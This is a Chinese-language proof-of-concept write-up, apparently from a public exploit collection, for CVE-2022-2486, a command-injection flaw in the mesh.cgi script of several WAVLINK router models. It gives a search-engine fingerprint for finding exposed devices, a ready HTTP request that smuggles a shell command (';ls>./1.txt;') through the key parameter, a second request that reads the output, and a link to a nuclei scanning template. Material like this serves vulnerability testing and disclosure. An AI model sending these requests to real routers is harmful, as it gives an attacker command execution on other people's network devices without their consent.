POC/wpoc/Wavlink/WAVLINKmesh.cgi命令执行漏洞(CVE-2022-2486).md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

51 lines
2.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# WAVLINK mesh.cgi命令执行漏洞CVE-2022-2486
# 一、漏洞简介
WAVLINK是中国睿因科技WAVLINK公司开发的一款路由器该系统mesh.cgi文件存在命令执行漏洞攻击者可通过该漏洞获取服务器权限。包含型号WN530HG4、WN531G3、WN572HG3、WN535G3、WN575A4等。
# 二、影响版本
+ wavlink 路由器
# 三、资产测绘
+ hunter`web.body="firstFlage"`
+ 特征
![1703226837131-abc67852-1626-482a-982b-2f8f69837f2c.png](./img/2z5YOmq5xdN4GgtQ/1703226837131-abc67852-1626-482a-982b-2f8f69837f2c-764354.png)
# 四、漏洞复现
```java
GET /cgi-bin/mesh.cgi?page=upgrade&key=';ls>./1.txt;' HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```
![1703227123408-ad76b97b-fbb5-48b3-a932-877f8d037798.png](./img/2z5YOmq5xdN4GgtQ/1703227123408-ad76b97b-fbb5-48b3-a932-877f8d037798-976428.png)
获取命令执行结果
```java
GET /cgi-bin/1.txt HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```
![1703227153612-9f8d4f5b-341e-4c8a-bfed-f618c459f555.png](./img/2z5YOmq5xdN4GgtQ/1703227153612-9f8d4f5b-341e-4c8a-bfed-f618c459f555-527638.png)
nuclei脚本
[wanlink-router-mesh-cgi-rce.yaml](https://www.yuque.com/attachments/yuque/0/2024/yaml/1622799/1709222231422-206fa714-944a-44f8-b5df-ab0069039061.yaml)
> 更新: 2024-02-29 23:57:11
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/wnwb9zre4ushwzb8>